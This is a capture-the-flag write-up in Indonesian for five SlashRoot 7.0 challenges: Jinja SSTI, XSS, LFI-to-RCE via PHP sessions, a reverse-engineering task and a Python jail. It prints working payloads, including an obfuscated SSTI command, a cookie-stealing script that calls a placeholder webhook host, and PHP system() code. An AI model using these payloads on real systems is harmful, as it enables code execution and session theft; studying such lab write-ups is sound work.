SLASHROOT 7.0

Participate with team Shelltatic

Name	Category	Vuln
Very Light	Web Exploitation	SSTI Jinja
give me feedback	Web Exploitation	XSS
LotFeTT	Web Exploitation	LFI, PHP Session, RCE
Lazy	Reverse Engineering	Static Data Char
SangChall	Miscellaneous	Python Jail

Very Light

Description

Author: Anehinnn

This website very very light

Summary

Melakukan bypass untuk beberapa blacklist input untuk melakukan SSTI pada templating engine Jinja

Solution

Pada awalnya web ini tidak memberikan clue vulnerability apapun, namun setelah melakukan inspect source, terlihat ada sebuah comment

Ada query params yang dapat digunakan yaitu search, singkat cerita ternyata apa yang diinputkan akan dirender ke dalam webnya, dan setelah dilakukan percobaan ternyata vulnerable terhadap SSTI Jinja

Setelah menginputkan basic payload untuk SSTI Jinja, ternyata terdapat beberapa filter terhadap symbol, character, atau nama function, setelah beberapa kali percobaan berikut final payload hingga bisa mendapatkan flagnya

{{(lipsum|attr('\x5f\x5fglobals\x5f\x5f')).get('os').popen('\x63\x61\x74\x20\x2f\x2a').read()}}

Flag

slashroot7{jU5t_a_5iMpL3_bL4CkL15t_R1GhTTTTttttTTTTTTttt?}

---

give me feedback

Description

Author: anantaweda

Aku habis bikin website gallery, kirim aku saran gambar untuk aku tambahkan

Summary

Very very very very simple and basic XSS

Solution

Pada challenge ini ada sebuah form untuk mengirim sebuah feedback, dan setelah mencoba untuk mengirimkan random feedback terdapat response berikut

Langsung disini bisa diasumsikan kalau sebenernya ada bot yang akan membaca feedback yang telah dikirim, kemudian mencoba terlebih dahulu apakah payload XSS berhasil untuk dieksekusi atau tidak

Ternyata berhasil, langsung saja mengirimkan payload untuk melakukan stealling flag dari cooke bot tersebut, berikut payloadnya

<script>fetch("https://webhookhere.com?cookie"+document.cookie)</script>

Langsung send kedalam feedback, lalu tunggu responsenya dalam webhook

Flag

slashroot7{xss_inj3ct1on}

---

LotFeTT

Description

Author: Anehinnn

Waduchhh, udh bingung w mau bikin apa lg. Jadi w bikin ini aja dah

Summary

Terdapat vulnerability LFI, lalu mendapatkan RCE dengan memanfaatkan PHP Session, yaitu dengan melakukan LFI pada open file mounting linux, karena Session pada PHP menggunakan file based, dan akan selalu terbuka ketika user menggunakan session tersbeut.

Solution

Pada challenge ini hanya disediakan functionality untuk login, dan menampilkan pesan Welcome

Namun ada yang janggal pada query params, yaitu website ini menggunakan value dari query params untuk merender page yang berkaitan

Langsung dicoba untuk menginputkan payload untuk LFI pada query params tersebut, untuk mencari tahu apakah vulnerable

Dan setelah mencari - cari, seperti melakukan leak flag di /flag.txt, mencari vulnerability lain seperti log poisoning, dan ternyata tidak ada yang berhasil.

Lalu dicoba untuk melakukan include terhadap value dari sessionnya, karena pada PHP menggunakan metode session file based.

Pada PHP, metode session menggunakan file based, dimana penyimpanan valuenya ada dalam sebuah file.

Setelah mencoba beberapa commond directory penyimpanan session, ternyata tidak ditemukan. Namun, dalam cara kerja php session, sebenernya file session tersebut akan terus terbuka selama user masih mengakses atau menggunakan session tersebut.

Dari hal tersebut, bisa memanfaatkan open file mounting, hal ini bisa dilakukan karena setiap file atau proses yang terbuka dalam linux sebenernya disimpan dalam sistem lain, biasanya ada pada /proc/self, namun karena ini adalah file (*file disk), maka bisa diasumsikan session sistemnya ada pada /proc/self/fd.

Dan karena akan ada banyak sekali file open, harus dicoba satu - persatu hingga mendapatkan yang sesuai, dan pada kasus ini ditemukan path yang sesuai yaitu /proc/self/fd/11, bisa dilihat pada gambar berikut

Karena disini value user dapat di kontrol oleh user, maka kita dapat menginput php code untuk bisa mengakses shell, dan mencoba mencari flag ke dalam sistem challenge tersebut, berikut final payloadnya

<?php system('cat /r34l_fl4g'); ?>

Masukkan payload tersebut ke dalam login tadi, dan kemudian include /proc/self/fd/11, maka akan mendapatkan flagnya

Flag

slashroot7{Ud4h_c4P3k_NuL15_fl3GggGGggGG_Ny4_b4NgggGGG}

---

Lazy

Description

Author: indrayyana

Ketika rasa malas melanda...

Summary

Simple reverse challenge, karena langsung diberi value flag dalam bentuk digit yang tidak diketahui, namun mudah sekali ditebak karena value nya static dan di enkripsi atau digit tersebut diacak per karakter dari sebuah string.

Solution

Sebuah challenge reverse, dimana pada binary file nya akan langsung memberikan digits flag nya, namun pada awalnya tidak diketahui bagaimana pola tersebut, namun setelah dicoba input beberapa kali ternyata valuenya static

Oke, dari sini sebenarnya tidak perlu dilakukan static analysis dan melakukan decompile binary yang diberikan, karena hasilnya tetap sama dan valuenya di enkripisi per karakter, dimana ini akan sangat mudah sekali untuk menebak value aslinya.

Selanjutnya adalah melakukan debug static analysis, yaitu dengan men-generate semua printable dan kemudian bandingkan hasil enkripsi untuk mendapatkan value aslinya, bisa dilihat contoh nya sebagai berikut

*abaikan angka 13

Dari sini sudah ada polanya, dan tertebak value digit tersebut, yaitu

a = 99 b = 98 c = 97 d = 122 dan seterusnya...

Dan berikut script solver untuk melakukan recovery flagnya

from pwn import *
from string import printable


char = printable[:-6]
open("flag.txt", "w").write(char)


p = process("./chall", level="error")
p.sendlineafter(b"Enter your name: ", b"shelltatic")
p.recvline()
p.recvline()
mapperencoded = p.recvline().decode().strip().split(" ")[1:][::-1]
p.close()


p = remote("103.152.242.228", 2021, level="error")
p.sendlineafter(b"Enter your name: ", b"shelltatic")
p.recvline()
p.recvline()
flagencoded = p.recvline().decode().strip().split(" ")[::-1]
p.close()


mapper = dict(zip(mapperencoded, char))
flag = "".join([mapper[e] for e in flagencoded])
print(flag)

Run kode tersebut, maka akan mendapatkan flagnya

Flag

slashroot7{H4sk3ll_h4s_j01n3d_th3_ch4t}

---

SangChall

Description

Author: Anehinnn

Abijail comeback from Ssangmun-dong

Summary

Python sandbox yang diharuskan untuk escape dengan melakukan bypass blacklist, dan pada challenge ini dapat dibypass menggunakan function breakpoint

Solution

Pada challenge ini sesuai deskripsi dan judul nya, bisa diasumsikan adalah challenge pyjail, dari sini langsung saja connect ke service, dan coba simple payload, karena tidak diberikan source nya apakah ada blacklist atau tidak

Terlihat function sederhana python ternyata tereksekusi, dari sini coba untuk melihat globals variable nya, yaitu dengan call function globals

Ternyata ada variable blacklist, namun jika dilihat ada 1 function yang sangat useable untuk bisa langsung mendapatkan shell, yaitu breakpoint, langsung saja inputkan dan langsung steal flagnya

Flag

slasroot7{n0t_B4D_f0r_4b1J41l_Ch4ll3nG3_wakakakakaka}